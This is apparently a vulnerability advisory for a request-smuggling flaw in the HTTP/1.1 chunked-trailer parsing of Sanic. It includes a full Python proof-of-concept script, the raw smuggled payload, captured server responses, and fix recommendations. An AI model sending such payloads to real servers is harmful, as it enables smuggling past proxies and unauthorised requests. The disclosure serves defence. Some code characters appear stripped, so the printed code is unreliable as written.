PT-2026-105906 · Pypi · Sanic
Publicado
2026-10-01
·
Atualizado
2026-10-01
CVSS v3.1
6.5
Média
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L |
Description
Sanic's HTTP/1.1 chunked-body handling does not fully consume the
trailer-part after the terminating 0r chunk. Because of that, attacker-controlled bytes left in the connection buffer after the first chunked request can be interpreted as the start of a new HTTP request on the same keep-alive connection. In the attached verified proof, a single outer POST / request that correctly returns 405 Method Not Allowed is followed, within the same TCP send, by a hidden second request smuggled through the chunked trailer area. Sanic parses and executes that second request as a real independent request.The issue is a request-boundary integrity failure in Sanic's core HTTP/1.1 parser. The verified impact is not speculative. The attached proof shows that one TCP payload produces two server responses: first the expected
405 for the outer POST /, then a separate 200 OK for a hidden GET /. A second exploit variant changes the hidden request path and receives a real 404 Not Found, proving that the hidden second request is not a hard-coded artifact but an actually routed backend request. A control case with a two-character trailer field name shifts the leftover bytes from GET to :GET, which changes the second response accordingly and confirms that the root cause is incorrect trailer consumption rather than legitimate pipelining.Steps To Reproduce
- Start a Sanic HTTP/1.1 service on a keep-alive connection path. In the verified run, the local target listened on
127.0.0.1:9381and the root route allowedGET /but notPOST /. - From the package root, run the provided PoC:
bash
python3 evidence/vuln 001 chunked trailer smuggle.py | tee evidence/vuln 001 chunked trailer smuggle.run.txt- Review the baseline case in
evidence/vuln 001 chunked trailer smuggle.run.txt. A normal chunked request with0r rreturns exactly one response block:
text
=== CASE: baseline no trailer ===
Received response blocks: 1
HTTP/1.1 405 Method Not Allowed- Review the exploit case that hides
GET /in the trailer area:
text
=== CASE: exploit smuggled root ===The PoC sends a single TCP payload containing:
text
POST / HTTP/1.1
Host: 127.0.0.1:9381
Connection: keep-alive
Transfer-Encoding: chunked
1
X
0
a:GET / HTTP/1.1
Host: 127.0.0.1:9381- Confirm that Sanic returns two response blocks from that one send:
text
Received response blocks: 2
HTTP/1.1 405 Method Not Allowed
...
HTTP/1.1 200 OK
...
{"test":true}- Review the second exploit case that changes the smuggled request path to a nonexistent route:
text
=== CASE: exploit smuggled 404 ===Confirm that Sanic again returns two response blocks and that the second response is a real routed
404 Not Found for the attacker-controlled hidden path.
7. Review the control case with a two-character trailer field name:text
=== CASE: offset control two char field name ===Confirm that the second request is now interpreted as
:GET /, producing a second 405 with Method :GET not allowed for URL /. This demonstrates that the leftover bytes begin at a parser offset inside the trailer region and are then reinterpreted as a new request line.Recommendations
After parsing the terminating
0 chunk, Sanic must continue parsing and fully consuming the trailer-part until the final empty line before the connection buffer is reused. If trailer support is not intended, the safer behavior is to reject any request that contains bytes after the terminating 0r other than the expected final empty line, and then close the connection instead of keeping it alive.Add regression coverage for all three cases shown in the evidence: a normal
0r r chunked termination, a legal trailer that must be fully consumed, and a malicious trailer that must never cause a second backend request to be parsed. The fix needs to guarantee that no bytes from trailer processing can remain in the buffer as a candidate next request.poc
python
#!/usr/bin/env python3
"""Proof of concept for HTTP/1.1 chunked trailer request injection."""
from future import annotations
import socket
from dataclasses import dataclass
from typing import Iterable
TARGET = "sanic-org/sanic"
BASE URL = "http://127.0.0.1:9381"
HOST = "127.0.0.1"
PORT = 9381
TIMEOUT = 1.0
PROXY = None
AUTH HEADERS: dict[str, str] = {}
@dataclass
class Case:
name: str
payload: bytes
expected responses: int
expected markers: tuple[bytes, ...]
def build prefix() -> bytes:
return (
b"POST / HTTP/1.1r
"
+ f"Host: {HOST}:{PORT}r
".encode()
+ b"Connection: keep-aliver
"
+ b"Transfer-Encoding: chunkedr
"
+ b"r
"
+ b"1r
"
+ b"Xr
"
)
def build case payload(path: str | None = None, field name: str = "a") -> bytes:
prefix = build prefix()
if path is None:
return prefix + b"0r
r
"
return (
prefix
+ b"0r
"
+ f"{field name}:GET {path} HTTP/1.1r
".encode()
+ f"Host: {HOST}:{PORT}r
".encode()
+ b"r
"
)
def send payload(payload: bytes) -> bytes:
response = bytearray()
with socket.create connection((HOST, PORT), timeout=3) as sock:
sock.sendall(payload)
sock.settimeout(TIMEOUT)
while True:
try:
chunk = sock.recv(4096)
except TimeoutError:
break
if not chunk:
break
response.extend(chunk)
return bytes(response)
def count http responses(response: bytes) -> int:
return response.count(b"HTTP/1.1 ")
def ensure markers(case: Case, response: bytes) -> None:
actual count = count http responses(response)
if actual count != case.expected responses:
raise SystemExit(
f"[FAIL] {case.name}: expected {case.expected responses} responses, got {actual count}"
)
for marker in case.expected markers:
if marker not in response:
raise SystemExit(
f"[FAIL] {case.name}: missing marker {marker.decode('latin1', 'replace')}"
)
def render payload(payload: bytes) -> str:
return payload.decode("latin1", "replace")
def render response(response: bytes) -> str:
return response.decode("latin1", "replace")
def iter cases() -> Iterable[Case]:
yield Case(
name="baseline no trailer",
payload=build case payload(),
expected responses=1,
expected markers=(
b"HTTP/1.1 405 Method Not Allowed",
b"Method POST not allowed for URL /",
),
)
yield Case(
name="exploit smuggled root",
payload=build case payload("/"),
expected responses=2,
expected markers=(
b"HTTP/1.1 405 Method Not Allowed",
b"HTTP/1.1 200 OK",
b'{"test":true}',
),
)
yield Case(
name="exploit smuggled 404",
payload=build case payload("/this-path-should-not-exist"),
expected responses=2,
expected markers=(
b"HTTP/1.1 405 Method Not Allowed",
b"HTTP/1.1 404 Not Found",
b"Requested URL /this-path-should-not-exist not found",
),
)
yield Case(
name="offset control two char field name",
payload=build case payload("/", field name="ab"),
expected responses=2,
expected markers=(
b"HTTP/1.1 405 Method Not Allowed",
b"Method :GET not allowed for URL /",
),
)
def main() -> None:
print(f"Target: {TARGET}")
print(f"Base URL: {BASE URL}")
print()
for case in iter cases():
print(f"=== CASE: {case.name} ===")
print("Sent payload:")
print(render payload(case.payload))
response = send payload(case.payload)
ensure markers(case, response)
print(f"Received response blocks: {count http responses(response)}")
print("Raw response:")
print(render response(response))
print("[OK] Case verified")
print()
if name == " main ":
main()Evidence Files
The attachment package includes the exact PoC and the full runtime output from the verified local execution.
evidence/vuln 001 chunked trailer smuggle.py: full PoC used for the verified run.evidence/vuln 001 chunked trailer smuggle.run.txt: runtime output showing the baseline behavior, the successful smuggledGET /execution, the successful smuggledGET /this-path-should-not-existexecution, and the trailer-offset control case.
Observed baseline behavior:
text
=== CASE: baseline no trailer ===
Received response blocks: 1
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /Observed hidden second request execution:
text
=== CASE: exploit smuggled root ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /
HTTP/1.1 200 OK
...
{"test":true}Observed hidden attacker-controlled path execution:
text
=== CASE: exploit smuggled 404 ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /
HTTP/1.1 404 Not Found
...
Requested URL /this-path-should-not-exist not foundObserved trailer-offset control:
text
=== CASE: offset control two char field name ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /
HTTP/1.1 405 Method Not Allowed
...
Method :GET not allowed for URL /Impact
An attacker who can send a chunked HTTP/1.1 request to a Sanic backend can cause the backend to interpret bytes from the trailer region as a second request on the same keep-alive connection. In the verified proof, that second request was fully routed and executed by the backend even though only one outer request was sent by the client.
This breaks the integrity of HTTP request boundaries inside the server. In real deployments that place Sanic behind reverse proxies, gateways, caches, or other intermediaries, a backend parser mismatch of this kind can become a request smuggling primitive with broader security consequences than the local proof route demonstrates.
Correção
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Sanic